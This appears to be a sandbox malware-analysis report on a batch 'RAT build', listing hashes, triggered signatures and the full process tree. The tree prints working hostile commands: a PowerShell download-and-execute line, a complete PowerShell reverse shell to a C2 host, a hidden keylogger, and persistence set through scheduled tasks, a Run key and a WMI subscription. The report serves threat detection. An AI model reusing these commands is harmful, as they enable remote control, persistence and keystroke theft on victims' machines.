Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 22:23
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_75164_014243.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_75164_014243.bat
Resource
win11-20260513-en
General
- Target rat_build_75164_014243.bat
- Size 4KB
- Sample260529-2axt5acz5j
- SHA256 e456adc01b10b36fa76750728c98dbdf9afa9d79c1f7bba901e725201a9d283e
- MD5 3962ab26e96c8a6a376442f60edccb2c
- SHA1 d52403fa81b5568b0c3e09d4f6684fda849753f8
- SHA512 c47c1d1600379c18e5e7efa0dc7e38a7049cf06b28a39ce593bb7533649e4dfcb3102a4666d6cfc07fe36a7a1f76b7e49bf8561d9254c8d160e5d29e009db83e
- SSDEEP 96:rPIQpWjYPZi/+8fDzHkeM+/fFmxvWegkFabgldliFgZk8mvlo1h5Q:rPwjYhiW8fDgeMIITHabwiFgkHlK5Q
- TLSH T101A1E513A787613099F05918D9723C48475DDAFB2309C98EEB48CCD66E4CE47C63A2EB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_75164.ps1
Signatures
-
pid Process 3320 powershell.exe 3472 powershell.exe 956 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_75164 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_75164.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3752 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2224 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4764 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1692 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3320 powershell.exe 3320 powershell.exe 3472 powershell.exe 3472 powershell.exe 956 powershell.exe 956 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3768 WMIC.exe Token: SeSecurityPrivilege 3768 WMIC.exe Token: SeTakeOwnershipPrivilege 3768 WMIC.exe Token: SeLoadDriverPrivilege 3768 WMIC.exe Token: SeSystemProfilePrivilege 3768 WMIC.exe Token: SeSystemtimePrivilege 3768 WMIC.exe Token: SeProfSingleProcessPrivilege 3768 WMIC.exe Token: SeIncBasePriorityPrivilege 3768 WMIC.exe Token: SeCreatePagefilePrivilege 3768 WMIC.exe Token: SeBackupPrivilege 3768 WMIC.exe Token: SeRestorePrivilege 3768 WMIC.exe Token: SeShutdownPrivilege 3768 WMIC.exe Token: SeDebugPrivilege 3768 WMIC.exe Token: SeSystemEnvironmentPrivilege 3768 WMIC.exe Token: SeRemoteShutdownPrivilege 3768 WMIC.exe Token: SeUndockPrivilege 3768 WMIC.exe Token: SeManageVolumePrivilege 3768 WMIC.exe Token: 33 3768 WMIC.exe Token: 34 3768 WMIC.exe Token: 35 3768 WMIC.exe Token: 36 3768 WMIC.exe Token: SeIncreaseQuotaPrivilege 3768 WMIC.exe Token: SeSecurityPrivilege 3768 WMIC.exe Token: SeTakeOwnershipPrivilege 3768 WMIC.exe Token: SeLoadDriverPrivilege 3768 WMIC.exe Token: SeSystemProfilePrivilege 3768 WMIC.exe Token: SeSystemtimePrivilege 3768 WMIC.exe Token: SeProfSingleProcessPrivilege 3768 WMIC.exe Token: SeIncBasePriorityPrivilege 3768 WMIC.exe Token: SeCreatePagefilePrivilege 3768 WMIC.exe Token: SeBackupPrivilege 3768 WMIC.exe Token: SeRestorePrivilege 3768 WMIC.exe Token: SeShutdownPrivilege 3768 WMIC.exe Token: SeDebugPrivilege 3768 WMIC.exe Token: SeSystemEnvironmentPrivilege 3768 WMIC.exe Token: SeRemoteShutdownPrivilege 3768 WMIC.exe Token: SeUndockPrivilege 3768 WMIC.exe Token: SeManageVolumePrivilege 3768 WMIC.exe Token: 33 3768 WMIC.exe Token: 34 3768 WMIC.exe Token: 35 3768 WMIC.exe Token: 36 3768 WMIC.exe Token: SeIncreaseQuotaPrivilege 3652 WMIC.exe Token: SeSecurityPrivilege 3652 WMIC.exe Token: SeTakeOwnershipPrivilege 3652 WMIC.exe Token: SeLoadDriverPrivilege 3652 WMIC.exe Token: SeSystemProfilePrivilege 3652 WMIC.exe Token: SeSystemtimePrivilege 3652 WMIC.exe Token: SeProfSingleProcessPrivilege 3652 WMIC.exe Token: SeIncBasePriorityPrivilege 3652 WMIC.exe Token: SeCreatePagefilePrivilege 3652 WMIC.exe Token: SeBackupPrivilege 3652 WMIC.exe Token: SeRestorePrivilege 3652 WMIC.exe Token: SeShutdownPrivilege 3652 WMIC.exe Token: SeDebugPrivilege 3652 WMIC.exe Token: SeSystemEnvironmentPrivilege 3652 WMIC.exe Token: SeRemoteShutdownPrivilege 3652 WMIC.exe Token: SeUndockPrivilege 3652 WMIC.exe Token: SeManageVolumePrivilege 3652 WMIC.exe Token: 33 3652 WMIC.exe Token: 34 3652 WMIC.exe Token: 35 3652 WMIC.exe Token: 36 3652 WMIC.exe Token: SeIncreaseQuotaPrivilege 3652 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3324 wrote to memory of 1692 3324 cmd.exe 88 PID 3324 wrote to memory of 4764 3324 cmd.exe 89 PID 3324 wrote to memory of 3768 3324 cmd.exe 90 PID 3324 wrote to memory of 3652 3324 cmd.exe 92 PID 3324 wrote to memory of 2768 3324 cmd.exe 93 PID 3324 wrote to memory of 2224 3324 cmd.exe 96 PID 3324 wrote to memory of 3752 3324 cmd.exe 100 PID 3324 wrote to memory of 3320 3324 cmd.exe 101 PID 3324 wrote to memory of 3472 3324 cmd.exe 102 PID 3324 wrote to memory of 956 3324 cmd.exe 103 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_75164_014243.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3324 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_75164" /tr "C:\Users\Admin\AppData\Local\Temp\_75164.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1692
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-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_75164" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_75164.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4764
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_75164", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3768
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-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_75164", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_75164.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3652
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_75164.txt2⤵PID:2768
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:2224
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3752
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_75164.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3320
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3472
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:956
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 500bbb53a10da93ff7861f22c318717e124d185163682af049b51c7929ed4fd5
- MD5 2b23ff76612030999f6fdd9aa37322f6
- SHA1 4c0f3eed377465d3e5de2380df9816c51ef97df2
- SHA512 189af114512fda68d2e877adc29a3ff80ed90e3fdabd1caa73fa62aaf93e43f87188fb80d71afe81da9cdfafafe2f0452499cae7215570910c4fb3ff052472e3
- TLSH T11D117A27F39CC921CC96153A409D9C1172B683D741AEDF9F6FC4D214A07F584CB71194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8c54d4148a9e2a3b524f471f99aa3d48778239ae494908b544ef8f014d7d0eee
- MD5 5ed3bd9bc72e312aadc7571ad8786379
- SHA1 c6cc90bf1250e7ec5cd7680a9689940cec6398da
- SHA512 d020f76b71142f58c990f62354c568d9cee901a2e808d11d4e6d439aa3ffc36f070d613e3bd9522aaa1d44d3288c91c89fcf911600fdad9e96d3900c12941c47
- TLSH T18E115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lerq4itn.3w3.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH